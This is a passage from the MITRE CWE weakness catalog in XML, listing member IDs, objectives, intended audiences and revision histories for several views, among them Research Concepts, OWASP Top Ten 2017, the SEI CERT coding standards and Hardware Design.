            <Has_Member CWE_ID="197" View_ID="888"/>
            <Has_Member CWE_ID="369" View_ID="888"/>
            <Has_Member CWE_ID="456" View_ID="888"/>
            <Has_Member CWE_ID="457" View_ID="888"/>
            <Has_Member CWE_ID="466" View_ID="888"/>
            <Has_Member CWE_ID="468" View_ID="888"/>
            <Has_Member CWE_ID="475" View_ID="888"/>
            <Has_Member CWE_ID="480" View_ID="888"/>
            <Has_Member CWE_ID="481" View_ID="888"/>
            <Has_Member CWE_ID="486" View_ID="888"/>
            <Has_Member CWE_ID="562" View_ID="888"/>
            <Has_Member CWE_ID="570" View_ID="888"/>
            <Has_Member CWE_ID="571" View_ID="888"/>
            <Has_Member CWE_ID="579" View_ID="888"/>
            <Has_Member CWE_ID="587" View_ID="888"/>
            <Has_Member CWE_ID="594" View_ID="888"/>
            <Has_Member CWE_ID="597" View_ID="888"/>
            <Has_Member CWE_ID="628" View_ID="888"/>
            <Has_Member CWE_ID="681" View_ID="888"/>
            <Has_Member CWE_ID="683" View_ID="888"/>
            <Has_Member CWE_ID="685" View_ID="888"/>
            <Has_Member CWE_ID="686" View_ID="888"/>
            <Has_Member CWE_ID="688" View_ID="888"/>
            <Has_Member CWE_ID="704" View_ID="888"/>
            <Has_Member CWE_ID="768" View_ID="888"/>
         </Relationships>
         <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2014-07-29</Submission_Date>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Description, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-03-15</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-10-13</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes</Modification_Comment>
				</Modification>
         </Content_History>
      </Category>
	</Categories>
	<Views>
      <View ID="1000" Name="Research Concepts" Type="Graph" Status="Draft">
         <Objective>This view is intended to facilitate research into weaknesses, including their inter-dependencies, and can be leveraged to systematically identify theoretical gaps within CWE. It is mainly organized according to abstractions of behaviors instead of how they can be detected, where they appear in code, or when they are introduced in the development life cycle. By design, this view is expected to include every weakness within CWE.</Objective>
         <Audience>
            <Stakeholder>
               <Type>Academic Researchers</Type>
               <Description>Academic researchers can use the high-level classes that lack a significant number of children to identify potential areas for future research.</Description>
            </Stakeholder>
            <Stakeholder>
               <Type>Vulnerability Analysts</Type>
               <Description>Those who perform vulnerability discovery/analysis use this view to identify related weaknesses that might be leveraged by following relationships between higher-level classes and bases.</Description>
            </Stakeholder>
            <Stakeholder>
               <Type>Assessment Tool Vendors</Type>
               <Description>Assessment vendors often use this view to help identify additional weaknesses that a tool may be able to detect as the relationships are more aligned with a tool's technical capabilities.</Description>
            </Stakeholder>
         </Audience>
         <Members>
            <Has_Member CWE_ID="284" View_ID="1000"/>
            <Has_Member CWE_ID="435" View_ID="1000"/>
            <Has_Member CWE_ID="664" View_ID="1000"/>
            <Has_Member CWE_ID="682" View_ID="1000"/>
            <Has_Member CWE_ID="691" View_ID="1000"/>
            <Has_Member CWE_ID="693" View_ID="1000"/>
            <Has_Member CWE_ID="697" View_ID="1000"/>
            <Has_Member CWE_ID="703" View_ID="1000"/>
            <Has_Member CWE_ID="707" View_ID="1000"/>
            <Has_Member CWE_ID="710" View_ID="1000"/>
         </Members>
         <Notes>
            <Note Type="Other">This view uses a deep hierarchical organization, with more levels of abstraction than other classification schemes. The top-level entries are called Pillars. Where possible, this view uses abstractions that do not consider particular languages, frameworks, technologies, life cycle development phases, frequency of occurrence, or types of resources. It explicitly identifies relationships that form chains and composites, which have not been a formal part of past classification efforts. Chains and composites might help explain why mutual exclusivity is difficult to achieve within security error taxonomies. This view is roughly aligned with MITRE's research into vulnerability theory, especially with respect to behaviors and resources. Ideally, this view will only cover weakness-to-weakness relationships, with minimal overlap and zero categories.  It is expected to include at least one parent/child relationship for every weakness within CWE.</Note>
         </Notes>
         <Content_History>
            <Submission>
                <Submission_Name>CWE Content Team</Submission_Name>
				<Submission_Organization>MITRE</Submission_Organization>
                <Submission_Date>2008-04-11</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Description, Name, Relationships, View_Audience, View_Structure</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-02-16</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2018-03-27</Modification_Date>
               <Modification_Comment>updated Description, Other_Notes, View_Audience</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships, View_Audience</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-03-15</Modification_Date>
					<Modification_Comment>updated Description, Other_Notes</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2008-09-09">Natural Hierarchy</Previous_Entry_Name>
         </Content_History>
      </View>
      <View ID="1003" Name="Weaknesses for Simplified Mapping of Published Vulnerabilities" Type="Graph" Status="Incomplete">
         <Objective>CWE entries in this view (graph) may be used to categorize potential weaknesses within sources that handle public, third-party vulnerability information, such as the National Vulnerability Database (NVD). By design, this view is incomplete; it is limited to a small number of the most commonly-seen weaknesses, so that it is easier for humans to use. This view uses a shallow hierarchy of two levels in order to simplify the complex, category-oriented navigation of the entire CWE corpus.</Objective>
         <Members>
	   <Has_Member CWE_ID="20" View_ID="1003"/>
	   <Has_Member CWE_ID="74" View_ID="1003"/>
	   <Has_Member CWE_ID="116" View_ID="1003"/>
	   <Has_Member CWE_ID="119" View_ID="1003"/>
	   <Has_Member CWE_ID="200" View_ID="1003"/>
	   <Has_Member CWE_ID="269" View_ID="1003"/>
	   <Has_Member CWE_ID="287" View_ID="1003"/>
	   <Has_Member CWE_ID="311" View_ID="1003"/>
	   <Has_Member CWE_ID="326" View_ID="1003"/>
	   <Has_Member CWE_ID="327" View_ID="1003"/>
	   <Has_Member CWE_ID="330" View_ID="1003"/>
	   <Has_Member CWE_ID="345" View_ID="1003"/>
	   <Has_Member CWE_ID="362" View_ID="1003"/>
	   <Has_Member CWE_ID="400" View_ID="1003"/>
	   <Has_Member CWE_ID="404" View_ID="1003"/>
	   <Has_Member CWE_ID="407" View_ID="1003"/>
	   <Has_Member CWE_ID="436" View_ID="1003"/>
	   <Has_Member CWE_ID="610" View_ID="1003"/>
	   <Has_Member CWE_ID="662" View_ID="1003"/>
	   <Has_Member CWE_ID="665" View_ID="1003"/>
	   <Has_Member CWE_ID="668" View_ID="1003"/>
	   <Has_Member CWE_ID="669" View_ID="1003"/>
	   <Has_Member CWE_ID="670" View_ID="1003"/>
	   <Has_Member CWE_ID="672" View_ID="1003"/>
	   <Has_Member CWE_ID="674" View_ID="1003"/>
	   <Has_Member CWE_ID="682" View_ID="1003"/>
	   <Has_Member CWE_ID="697" View_ID="1003"/>
	   <Has_Member CWE_ID="704" View_ID="1003"/>
	   <Has_Member CWE_ID="706" View_ID="1003"/>
	   <Has_Member CWE_ID="732" View_ID="1003"/>
	   <Has_Member CWE_ID="754" View_ID="1003"/>
	   <Has_Member CWE_ID="755" View_ID="1003"/>
	   <Has_Member CWE_ID="834" View_ID="1003"/>
	   <Has_Member CWE_ID="862" View_ID="1003"/>
	   <Has_Member CWE_ID="863" View_ID="1003"/>
	   <Has_Member CWE_ID="913" View_ID="1003"/>
	   <Has_Member CWE_ID="922" View_ID="1003"/>
         </Members>
         <References>
            <Reference External_Reference_ID="REF-1"/>
         </References>
         <Notes>
		   <Note Type="Maintenance">This view may change in any upcoming CWE version based on the experience of NVD analysts, public feedback, and the CWE Team - especially with respect to the CWE Top 25 analysis.</Note>
            <Note Type="Maintenance">This view has been modified significantly since its last major revision in 2016 (CWE-635 was used before 2016).</Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2015-12-07</Submission_Date>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-06-20</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-09-19</Modification_Date>
					<Modification_Comment>updated Description, Maintenance_Notes, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-09-23</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-03-15</Modification_Date>
					<Modification_Comment>updated Maintenance_Notes</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-10-13</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
            <Contribution Type="Content">
               <Contribution_Name>NIST</Contribution_Name>
               <Contribution_Date>2015-12-07</Contribution_Date>
               <Contribution_Comment>Provided many relationships.</Contribution_Comment>
            </Contribution>
         </Content_History>
      </View>
      <View ID="1008" Name="Architectural Concepts" Type="Graph" Status="Incomplete">
         <Objective>This view organizes weaknesses according to common architectural security tactics. It is intended to assist architects in identifying potential mistakes that can be made when designing software.</Objective>
         <Audience>
            <Stakeholder>
               <Type>Software Developers</Type>
               <Description>Architects that are part of a software development team may find this view useful as the weaknesses are organized by known security tactics, aiding the arcitect in embedding security throughout the design process instead of discovering weaknesses after the software has been built.</Description>
            </Stakeholder>
            <Stakeholder>
               <Type>Educators</Type>
               <Description>Educators may use this view as reference material when discussing security by design or architectural weaknesses, and the types of mistakes that can be made.</Description>
            </Stakeholder>
         </Audience>
         <Members>
            <Has_Member CWE_ID="1009" View_ID="1008"/>
            <Has_Member CWE_ID="1010" View_ID="1008"/>
            <Has_Member CWE_ID="1011" View_ID="1008"/>
            <Has_Member CWE_ID="1012" View_ID="1008"/>
            <Has_Member CWE_ID="1013" View_ID="1008"/>
            <Has_Member CWE_ID="1014" View_ID="1008"/>
            <Has_Member CWE_ID="1015" View_ID="1008"/>
            <Has_Member CWE_ID="1016" View_ID="1008"/>
            <Has_Member CWE_ID="1017" View_ID="1008"/>
            <Has_Member CWE_ID="1018" View_ID="1008"/>
            <Has_Member CWE_ID="1019" View_ID="1008"/>
            <Has_Member CWE_ID="1020" View_ID="1008"/>
         </Members>
         <References>
            <Reference External_Reference_ID="REF-9"/>
            <Reference External_Reference_ID="REF-10" Section="pages 69 - 78"/>
         </References>
         <Notes>
            <Note Type="Other">The top level categories in this view represent the individual tactics that are part of a secure-by-design approach to software development. The weaknesses that are members of each category contain information about how each is introduced relative to the software's architecture. Three different modes of introduction are used: Omission - caused by missing a security tactic when it is necessary. Commission - refers to incorrect choice of tactics which could result in undesirable consequences. Realization - appropriate security tactics are adopted but are incorrectly implemented.</Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>Joanna C.S. Santos, Mehdi Mirakhorli</Submission_Name>
               <Submission_Date>2017-06-22</Submission_Date>
               <Submission_Comment>Provided the catalog, Common Architectural Weakness Enumeration (CAWE), and research papers for this view.</Submission_Comment>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2018-03-27</Modification_Date>
               <Modification_Comment>updated Description, Other_Notes, View_Audience</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Maintenance_Notes, View_Audience</Modification_Comment>
				</Modification>
         </Content_History>
      </View>
      <View ID="1026" Name="Weaknesses in OWASP Top Ten (2017)" Type="Graph" Status="Incomplete">
         <Objective>CWE nodes in this view (graph) are associated with the OWASP Top Ten, as released in 2017.</Objective>
         <Audience>
            <Stakeholder>
               <Type>Software Developers</Type>
               <Description>This view outlines the most important issues as identified by the OWASP Top Ten (2017 version), providing a good starting point for web application developers who want to code more securely.</Description>
            </Stakeholder>
            <Stakeholder>
               <Type>Product Customers</Type>
               <Description>This view outlines the most important issues as identified by the OWASP Top Ten (2017 version), providing product customers with a way of asking their software development teams to follow minimum expectations for secure code.</Description>
            </Stakeholder>
            <Stakeholder>
               <Type>Educators</Type>
               <Description>Since the OWASP Top Ten covers the most frequently encountered issues, this view can be used by educators as training material for students.</Description>
            </Stakeholder>
         </Audience>
         <Members>
            <Has_Member CWE_ID="1027" View_ID="1026"/>
            <Has_Member CWE_ID="1028" View_ID="1026"/>
            <Has_Member CWE_ID="1029" View_ID="1026"/>
            <Has_Member CWE_ID="1030" View_ID="1026"/>
            <Has_Member CWE_ID="1031" View_ID="1026"/>
            <Has_Member CWE_ID="1032" View_ID="1026"/>
            <Has_Member CWE_ID="1033" View_ID="1026"/>
            <Has_Member CWE_ID="1034" View_ID="1026"/>
            <Has_Member CWE_ID="1035" View_ID="1026"/>
            <Has_Member CWE_ID="1036" View_ID="1026"/>
         </Members>
         <References>
            <Reference External_Reference_ID="REF-957"/>
         </References>
         <Notes>
            <Note Type="Relationship">The relationships in this view have been pulled directly from the 2017 OWASP Top 10 document, either from the explicit mapping section, or from weakness types alluded to in the written sections.</Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2018-01-22</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated References</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated References, View_Audience</Modification_Comment>
				</Modification>
         </Content_History>
      </View>
      <View ID="1040" Name="Quality Weaknesses with Indirect Security Impacts" Type="Implicit" Status="Incomplete">
         <Objective>CWE identifiers in this view (slice) are quality issues that only indirectly make it easier to introduce a vulnerability and/or make the vulnerability more difficult to detect or mitigate.</Objective>
         <Audience>
            <Stakeholder>
               <Type>Assessment Tool Vendors</Type>
	       <Description>This view makes it easier for assessment vendors to identify and improve coverage for quality-related weaknesses.</Description>
            </Stakeholder>
            <Stakeholder>
               <Type>Software Developers</Type>
	       <Description>This view makes it easier for developers to identify and learn about issues that might make their code more difficult to maintain, perform efficiently or reliably, or secure.</Description>
            </Stakeholder>
            <Stakeholder>
               <Type>Product Vendors</Type>
	       <Description>This view makes it easier for software vendors to identify important issues that may make their software more difficult to maintain, perform efficiently or reliably, or secure.</Description>
            </Stakeholder>
         </Audience>
         <Filter>/Weakness_Catalog/Weaknesses/Weakness[Weakness_Ordinalities/Weakness_Ordinality/Ordinality='Indirect']</Filter>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2018-07-12</Submission_Date>
			   <Submission_Comment>View originally constructed using entries from Common Quality Enumeration (CQE) Draft 0.9.</Submission_Comment>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated View_Audience</Modification_Comment>
				</Modification>
         </Content_History>
      </View>
      <View ID="1081" Name="Entries with Maintenance Notes" Type="Implicit" Status="Draft">
         <Objective>CWE entries in this view have maintenance notes.  Maintenance notes are an indicator that an entry might change significantly in future versions. This view was created due to feedback from the CWE Board and participants in the CWE Compatibility Summit in March 2021.</Objective>
		 <Audience>
            <Stakeholder>
               <Type>Assessment Tool Vendors</Type>
               <Description>Assessment vendors may use this view to anticipate future changes to CWE that will help them to better prepare customers for important changes in CWE.</Description>
            </Stakeholder>
		 </Audience>
         <Filter>/Weakness_Catalog/*/*[Notes/Note[@Type='Maintenance']]</Filter>
         <Content_History>
            <Submission>
                <Submission_Name>CWE Content Team</Submission_Name>
		<Submission_Organization>MITRE</Submission_Organization>
                <Submission_Date>2021-03-14</Submission_Date>
            </Submission>
         </Content_History>
      </View>
      <View ID="1128" Name="CISQ Quality Measures (2016)" Type="Graph" Status="Incomplete">
         <Objective>This view outlines the most important software quality issues as identified by the Consortium for Information &amp; Software Quality (CISQ) Automated Quality Characteristic Measures, released in 2016. These measures are derived from Object Management Group (OMG) standards.</Objective>
         <Audience>
            <Stakeholder>
               <Type>Software Developers</Type>
               <Description>This view provides a good starting point for anyone involved in software development (including architects, designers, coders, and testers) to ensure that code quality issues are considered during the development process.</Description>
            </Stakeholder>
            <Stakeholder>
               <Type>Product Vendors</Type>
               <Description>This view can help product vendors understand code quality issues and convey an overall status of their software.</Description>
            </Stakeholder>
            <Stakeholder>
               <Type>Assessment Tool Vendors</Type>
               <Description>This view provides a good starting point for assessment tool vendors (e.g., vendors selling static analysis tools) who wish to understand what constitutes software with good code quality, and which quality issues may be of concern.</Description>
            </Stakeholder>
         </Audience>
         <Members>
            <Has_Member CWE_ID="1129" View_ID="1128"/>
            <Has_Member CWE_ID="1130" View_ID="1128"/>
            <Has_Member CWE_ID="1131" View_ID="1128"/>
            <Has_Member CWE_ID="1132" View_ID="1128"/>
         </Members>
         <References>
            <Reference External_Reference_ID="REF-968"/>
         </References>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2018-07-23</Submission_Date>
               <Submission_Comment>View constructed using Common Quality Enumeration (CQE) draft 0.9, constructed using view 9001.</Submission_Comment>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Description, View_Audience</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-06-25</Modification_Date>
					<Modification_Comment>updated References</Modification_Comment>
				</Modification>
         </Content_History>
      </View>
      <View ID="1133" Name="Weaknesses Addressed by the SEI CERT Oracle Coding Standard for Java" Type="Graph" Status="Stable">
         <Objective>CWE entries in this view (graph) are fully or partially eliminated by following the guidance presented in the online wiki that reflects that current rules and recommendations of the SEI CERT Oracle Coding Standard for Java.</Objective>
         <Audience>
            <Stakeholder>
               <Type>Software Developers</Type>
               <Description>By following the SEI CERT Oracle Coding Standard for Java, developers will be able to fully or partially prevent the weaknesses that are identified in this view. In addition, developers can use a CWE coverage graph to determine which weaknesses are not directly addressed by the standard, which will help identify and resolve remaining gaps in training, tool acquisition, or other approaches for reducing weaknesses.</Description>
            </Stakeholder>
            <Stakeholder>
               <Type>Product Customers</Type>
               <Description>If a software developer claims to be following the SEI CERT Oracle Secure Coding Standard for Java, then customers can search for the weaknesses in this view in order to formulate independent evidence of that claim.</Description>
            </Stakeholder>
            <Stakeholder>
               <Type>Educators</Type>
               <Description>Educators can use this view in multiple ways. For example, if there is a focus on teaching weaknesses, the educator could link them to the relevant Secure Coding Standard.</Description>
            </Stakeholder>
         </Audience>
         <Members>
            <Has_Member CWE_ID="1134" View_ID="1133"/>
            <Has_Member CWE_ID="1135" View_ID="1133"/>
            <Has_Member CWE_ID="1136" View_ID="1133"/>
            <Has_Member CWE_ID="1137" View_ID="1133"/>
            <Has_Member CWE_ID="1138" View_ID="1133"/>
            <Has_Member CWE_ID="1139" View_ID="1133"/>
            <Has_Member CWE_ID="1140" View_ID="1133"/>
            <Has_Member CWE_ID="1141" View_ID="1133"/>
            <Has_Member CWE_ID="1142" View_ID="1133"/>
            <Has_Member CWE_ID="1143" View_ID="1133"/>
            <Has_Member CWE_ID="1144" View_ID="1133"/>
            <Has_Member CWE_ID="1145" View_ID="1133"/>
            <Has_Member CWE_ID="1146" View_ID="1133"/>
            <Has_Member CWE_ID="1147" View_ID="1133"/>
            <Has_Member CWE_ID="1148" View_ID="1133"/>
            <Has_Member CWE_ID="1149" View_ID="1133"/>
            <Has_Member CWE_ID="1150" View_ID="1133"/>
            <Has_Member CWE_ID="1151" View_ID="1133"/>
            <Has_Member CWE_ID="1152" View_ID="1133"/>
            <Has_Member CWE_ID="1153" View_ID="1133"/>
			<Has_Member CWE_ID="1175" View_ID="1133"/>
         </Members>
         <References>
            <Reference External_Reference_ID="REF-970"/>
         </References>
         <Notes>
            <Note Type="Relationship">The relationships in this view were determined based on specific statements within the rules from the standard. Not all rules have direct relationships to individual weaknesses, although they likely have chaining relationships in specific circumstances.</Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2018-12-11</Submission_Date>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated View_Audience</Modification_Comment>
				</Modification>
         </Content_History>
      </View>
      <View ID="1154" Name="Weaknesses Addressed by the SEI CERT C Coding Standard" Type="Graph" Status="Stable">
         <Objective>CWE entries in this view (graph) are fully or partially eliminated by following the guidance presented in the online wiki that reflects that current rules and recommendations of the SEI CERT C Coding Standard.</Objective>
         <Audience>
            <Stakeholder>
               <Type>Software Developers</Type>
               <Description>By following the SEI CERT C Coding Standard, developers will be able to fully or partially prevent the weaknesses that are identified in this view. In addition, developers can use a CWE coverage graph to determine which weaknesses are not directly addressed by the standard, which will help identify and resolve remaining gaps in training, tool acquisition, or other approaches for reducing weaknesses.</Description>
            </Stakeholder>
            <Stakeholder>
               <Type>Product Customers</Type>
               <Description>If a software developer claims to be following the SEI CERT C Coding standard, then customers can search for the weaknesses in this view in order to formulate independent evidence of that claim.</Description>
            </Stakeholder>
            <Stakeholder>
               <Type>Educators</Type>
               <Description>Educators can use this view in multiple ways. For example, if there is a focus on teaching weaknesses, the educator could link them to the relevant Secure Coding Standard.</Description>
            </Stakeholder>
         </Audience>
         <Members>
            <Has_Member CWE_ID="1155" View_ID="1154"/>
            <Has_Member CWE_ID="1156" View_ID="1154"/>
            <Has_Member CWE_ID="1157" View_ID="1154"/>
            <Has_Member CWE_ID="1158" View_ID="1154"/>
            <Has_Member CWE_ID="1159" View_ID="1154"/>
            <Has_Member CWE_ID="1160" View_ID="1154"/>
            <Has_Member CWE_ID="1161" View_ID="1154"/>
            <Has_Member CWE_ID="1162" View_ID="1154"/>
            <Has_Member CWE_ID="1163" View_ID="1154"/>
            <Has_Member CWE_ID="1165" View_ID="1154"/>
            <Has_Member CWE_ID="1166" View_ID="1154"/>
            <Has_Member CWE_ID="1167" View_ID="1154"/>
            <Has_Member CWE_ID="1168" View_ID="1154"/>
            <Has_Member CWE_ID="1169" View_ID="1154"/>
			<Has_Member CWE_ID="1170" View_ID="1154"/>
			<Has_Member CWE_ID="1171" View_ID="1154"/>
			<Has_Member CWE_ID="1172" View_ID="1154"/>
         </Members>
         <References>
            <Reference External_Reference_ID="REF-598"/>
         </References>
         <Notes>
            <Note Type="Relationship">The relationships in this view were determined based on specific statements within the rules from the standard. Not all rules have direct relationships to individual weaknesses, although they likely have chaining relationships in specific circumstances.</Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2018-12-18</Submission_Date>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated View_Audience</Modification_Comment>
				</Modification>
         </Content_History>
      </View>
      <View ID="1178" Name="Weaknesses Addressed by the SEI CERT Perl Coding Standard" Type="Graph" Status="Stable">
         <Objective>CWE entries in this view (graph) are fully or partially eliminated by following the guidance presented in the online wiki that reflects that current rules and recommendations of the SEI CERT Perl Coding Standard.</Objective>
         <Audience>
            <Stakeholder>
               <Type>Software Developers</Type>
               <Description>By following the SEI CERT Perl Coding Standard, developers will be able to fully or partially prevent the weaknesses that are identified in this view. In addition, developers can use a CWE coverage graph to determine which weaknesses are not directly addressed by the standard, which will help identify and resolve remaining gaps in training, tool acquisition, or other approaches for reducing weaknesses.</Description>
            </Stakeholder>
            <Stakeholder>
               <Type>Product Customers</Type>
               <Description>If a software developer claims to be following the SEI CERT Perl Coding Standard, then customers can search for the weaknesses in this view in order to formulate independent evidence of that claim.</Description>
            </Stakeholder>
            <Stakeholder>
               <Type>Educators</Type>
               <Description>Educators can use this view in multiple ways. For example, if there is a focus on teaching weaknesses, the educator could link them to the relevant Secure Coding Standard.</Description>
            </Stakeholder>
         </Audience>
         <Members>
            <Has_Member CWE_ID="1179" View_ID="1178"/>
			<Has_Member CWE_ID="1180" View_ID="1178"/>
			<Has_Member CWE_ID="1181" View_ID="1178"/>
			<Has_Member CWE_ID="1182" View_ID="1178"/>
			<Has_Member CWE_ID="1183" View_ID="1178"/>
			<Has_Member CWE_ID="1184" View_ID="1178"/>
			<Has_Member CWE_ID="1185" View_ID="1178"/>
			<Has_Member CWE_ID="1186" View_ID="1178"/>
         </Members>
         <References>
            <Reference External_Reference_ID="REF-1011"/>
         </References>
         <Notes>
            <Note Type="Relationship">The relationships in this view were determined based on specific statements within the rules from the standard. Not all rules have direct relationships to individual weaknesses, although they likely have chaining relationships in specific circumstances.</Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2019-01-08</Submission_Date>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated View_Audience</Modification_Comment>
				</Modification>
         </Content_History>
      </View>
      <View ID="1194" Name="Hardware Design" Type="Graph" Status="Draft">
         <Objective>This view organizes weaknesses around concepts that are frequently used or encountered in hardware design. Accordingly, this view can align closely with the perspectives of designers, manufacturers, educators, and assessment vendors. It provides a variety of categories that are intended to simplify navigation, browsing, and mapping.</Objective>
         <Audience>
            <Stakeholder>
               <Type>Hardware Designers</Type>
               <Description>Hardware Designers use this view to better understand potential mistakes that can be made in specific areas of their IP design. The use of concepts with which hardware designers are familiar makes it easier to navigate.</Description>
            </Stakeholder>
            <Stakeholder>
               <Type>Educators</Type>
               <Description>Educators use this view to teach future professionals about the types of mistakes that are commonly made in hardware design.</Description>
            </Stakeholder>
         </Audience>
         <Members>
            <Has_Member CWE_ID="1195" View_ID="1194"/>
            <Has_Member CWE_ID="1196" View_ID="1194"/>
            <Has_Member CWE_ID="1197" View_ID="1194"/>
            <Has_Member CWE_ID="1198" View_ID="1194"/>
            <Has_Member CWE_ID="1199" View_ID="1194"/>
            <Has_Member CWE_ID="1201" View_ID="1194"/>
            <Has_Member CWE_ID="1202" View_ID="1194"/>
            <Has_Member CWE_ID="1203" View_ID="1194"/>
            <Has_Member CWE_ID="1205" View_ID="1194"/>
            <Has_Member CWE_ID="1206" View_ID="1194"/>
            <Has_Member CWE_ID="1207" View_ID="1194"/>
            <Has_Member CWE_ID="1208" View_ID="1194"/>
            <Has_Member CWE_ID="1388" View_ID="1194"/>
         </Members>
         <Notes>
            <Note Type="Other">The top level categories in this view represent commonly understood areas/terms within hardware design, and are meant to aid the user in identifying potential related weaknesses. It is possible for the same weakness to exist within multiple different categories.</Note>
            <Note Type="Other">This view attempts to present weaknesses in a simple and intuitive way. As such it targets a single level of abstraction. It is important to realize that not every CWE will be represented in this view. High-level class weaknesses and low-level variant weaknesses are mostly ignored. However, by exploring the weaknesses that are included, and following the defined relationships, one can find these higher and lower level weaknesses.</Note>
